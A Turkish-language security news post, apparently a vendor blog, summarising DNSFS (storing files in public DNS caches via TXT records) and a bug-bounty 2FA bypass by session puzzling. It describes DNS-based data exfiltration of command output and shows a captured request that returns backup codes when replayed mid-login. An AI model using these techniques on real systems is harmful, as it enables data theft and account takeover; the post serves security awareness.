DNSFS: DNS'i bir Dosya Sistemi Olarak Kullanmak Mümkün mü? Session Puzzling ile 2FA Bypass

Invicti Security Team - 12 Mart 2018 -

DNS'i dosya sistemi olarak kullanılabileceğini hiç düşündünüz mü? Bunu düşünen ve gerçekleştiren bir yazının detaylarını paylaşıyoruz. Session Puzzling yöntemi bug bounty'lerde 2FA bypass yöntemi bulan Mittal detayları paylaşıyor.

DNSFS: DNS'i bir Dosya Sistemi Olarak Kullanmak Mümkün mü? Session Puzzling ile 2FA Bypass

DNSFS: DNS'i bir Dosya Sistemi Olarak Kullanmak Mümkün mü?

Sızma testlerinde elde edilen veriyi dışarı çıkartmak için kullandığımız yöntemlerden biri de kendi kontrolümüzdeki bir sunucuya elde ettiğimiz değerlerle bir istek yapmak.

Örneğin: www-data.example.com

Yukarıdaki istek, whoami komutu çalıştırıldıktan sonra dönen www-data değerini alıp, pentester kontrolündeki siteye A tipinde bir DNS isteği olarak gönderiyor. Böylece dışarıya veri çıkışını engelleyen mekanizmalar, pek çok sistemde varsayılan olarak açık durumdaki DNS protokolü üzerinden yapılıyor.

Yaratıcılık sınır tanımıyor...

Ben Cox isimli araştırmacı, public DNS'lerin ne kadar süre ile DNS yanıtlarını sakladığı sorusundan hareketle, DNS'i bir dosya sistemi olarak kullanıp kullanamayacağı merak ediyor. Sorunun cevabı ise, Ben Cox'un Go dilinde yazdığı DNSFS ile yazdığı programda.

DNSFS, public DNS'ler ve DNS'in TTL özelliği olmak üzere iki unsurdan oluşuyor. TTL bilindiği gibi Time-to-Live kelimelerinin kısaltması. Bir DNS kaydının hangi süre ile geçerli olduğunu belirtiyor. TTL'de belirtilen süre zarfında DNS kaydı yetkili ve ara başka DNS sunucuları tarafından saklanıyor. Cox, bu noktada public DNS sunucuları TTL süresince verilerini saklayabildiği bir depolama katmanı olarak kullanıyor.

DNSFS'nin yaptığı iş özetle şu şekilde tarif edebiliriz: public DNS'de saklanacak data örneğin dosya 180 Byte'lık bölümlere ayrılarak, her bir bölüm ayrı bir TXT kaydı içerisine ekleniyor. Kaydın TTL değeri uzun süre public DNS'in önbelleğinde tutulmasını sağlayacak şekilde (68 yıl) giriliyor. DNS sunucusu olarak public DNS'lerden biri ayarlanmış bir makineden, TXT kayıtlarını girdiğimiz domain'in yine TXT kayıtları için yapılan bir sorgu yetkili DNS sunucusuna soruluyor. Dönen yanıt public DNS tarafından TTL'de belirtilen süre boyunca cache'de tutuluyor. Bu istekten hemen sonra DNSFS belleğinden dosya siliniyor ve public DNS üzerinden TXT kayıtlarına erişim devam ediyor. Public DNS'de tutulan TXT kayıtlarının birleştirilmeyi ile de dosya elde ediliyor.

DNSFS

Ben Cox, sitesinde bulunan bir blog post'u aynı yöntem ile bir public DNS'in belleğinde saklamayı başarıyor.

Çalışmanın ayrıntıları için Cox'un blogunu ziyaret edebilirsiniz.

Session Puzzling ile 2FA Bypass

2FA (Two Factor Authentication), kimlik ve yetki kontrolü için önerilen tedbirlerden biri. Kişi, kendisinin bildiği (örneğin kullanıcı adı ve parola) bir bilgiyi sunduktan sonra, kendisinin sahip olduğu (Telefon, OTP, Token Generator) bir cihaz, program vasıtası ile kimliğini doğrular.

Güçlü parolalar kullanmak yanında, 2FA'nın etkinleştirilmesi de önerilen başlıklardan biri.

Peki 2FA'yı alt etmek mümkün mü?

Genel geçer bir yöntem olmasa da, özel bounty programı kapsamında incelenen bir sitedeki akışın istismarı dolayısıyla Nikhil Mittal 'a göre evet!

Nikhil Mittal, adını açıklamaktan imtina ettiği sitede 2FA'yı nasıl bypass ettiğini gayet sarih bir dil ile anlatıyor.

Peşinen söylemekte yarar var, Nikhil Mittal 'ın söz konusu sitede 2FA'yı bypass etmesi, güvenlik terminolojisinde Session Puzzling olarak bilinen bir yönteme dayanıyor.

Session Puzzling, uygulamalar aynı oturum değerini farklı amaçlarla kullandıklarında ortaya çıkan bir zafiyet.

Mittal öncelikle 2FA kullanan sıradan bir uygulamanın takip ettiği akışı belirtiyor:

  1. Kullanıcı hesabına geçerli e-posta ve parola bilgisi ile login olur.
  2. 2FA gereği, OTP kullanıcıya bir değer gönderir/üretir.
  3. Kullanıcı bu değeri girer.
  4. Oturum başarılı bir şekilde gerçekleşir.

Fakat kullanıcının OTP cihazına erişememesi durumunda, aşağıdaki gibi bir akış söz konusu olacaktır:

  1. Kullanıcı hesabına geçerli e-posta ve parola bilgisi ile login olur.
  2. Kullanıcı kendisini karşılayan 2FA ekranında, OTP cihazı olmadığı için diğer seçenekleri kullanmak istediğini belirtir.
  3. Kullanıcı sistemin kendisine sağladığı backup kodlarından birini girer.
  4. Oturum başarılı bir şekilde gerçekleşir.

Kullanıcı, 2FA doğrulaması yapmadan örneğin paneline erişmek istediğinde, 2FA doğrulama bilgisi isteyen ekrana yönlendirilir.

Şayet 2FA adımı başarı ile tamamlandı ise panelden devam edebilir.

Yukarıdaki varsayımdan hareketle Mittal'a göre uygulama iki farklı biçimde oturum yönetiyor:

  1. Kullanıcının geçerli bir e-posta-parola sunduğu, fakat 2FA doğrulaması yapamadığındaki oturum
  2. Kullanıcının geçerli bir e-posta-parola sunduğu ve 2FA doğrulamasını başarıyla tamamladığı oturum.

Yukarıdaki noktalar netleştikten sonra Mittal, oturumu ikinci durumdaki gibi hem geçerli e-posta-parola bilgisi girerek, hem de 2FA adımını başarı ile tamamlayarak oturum açıyor. Backup kodu üretmek için bir istek yapıyor. Bu esnada request ve response'u kayıt ediyor:

POST /api/totp_auth HTTP/1.1
Host: secure.bountyplease.com
User-Agent: <redacted>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: <redacted>
Cookie:  <redacted>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

{"action":"backup_codes","clusterNum":"000","accountId":"test123","email":"[email protected]"}


Response

HTTP/1.1 200 OK
Date: <redacted>
Server: Apache-Coyote/1.1
Strict-Transport-Security: max-age=15768000
X-Frame-Options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
Cache-Control: max-age=0, no-cache, no-store
Content-Type: application/json;charset=UTF-8
Content-Length: 328
Connection: close

{
  "backupCodes": [
    "K5J5dCD767",
    "ETYGw5JJTG",
    "6CfJADML9J",
    "D2ETo8623M",
    "M664EpEB3S",
    "99R227lH9L",
    "SELKZ8TPAH",
    "L8WGF6A38X",
    "WRNK7H2HG8",
    "9ZPF2YTJTE"
  ],

  "email": "[email protected]",
  "hash": null,
  "key": null,
  "qrUrl": null,
  "reason": "",
  "succeeded": true
}

Peki Mittal kayıt ettiği bu isteği, ilk durum için kullanmaya kalkarsa? Yani geçerli bir kullanıcı adı ve parola bilgisi girip, 2FA adımında beklerken yukarıdaki isteği yapsa?

Mittal derhal oturumu kapatıp, tekrar oturum açıyor. Bu defa geçerli bir eposta ve parola bilgisi giriyor. 2FA kodunu yanlış girerek, bu esnada yapılan isteği yakalıyor:

Mittal, yakaladığı bu istekte aşağıdaki değişiklikleri yapıyor:

  1. İstekteki Hedef'i POST /api/totp_auth HTTP/1.1 olarak değiştiriyor.
  2. İstekteki orjinal parametreleri aşağıdaki şekilde değiştiriyor:
    {"action":"backup_codes","clusterNum":"000","accountId":"test123","email":"[email protected]"}

İsteği gerçekleştirdiğinde, hesaba ait 2FA adımını geçmek için kullanılan backup kodlarını yanıt olarak alıyor.

Araştırmanın ayrıntıları için lütfen tıklayınız.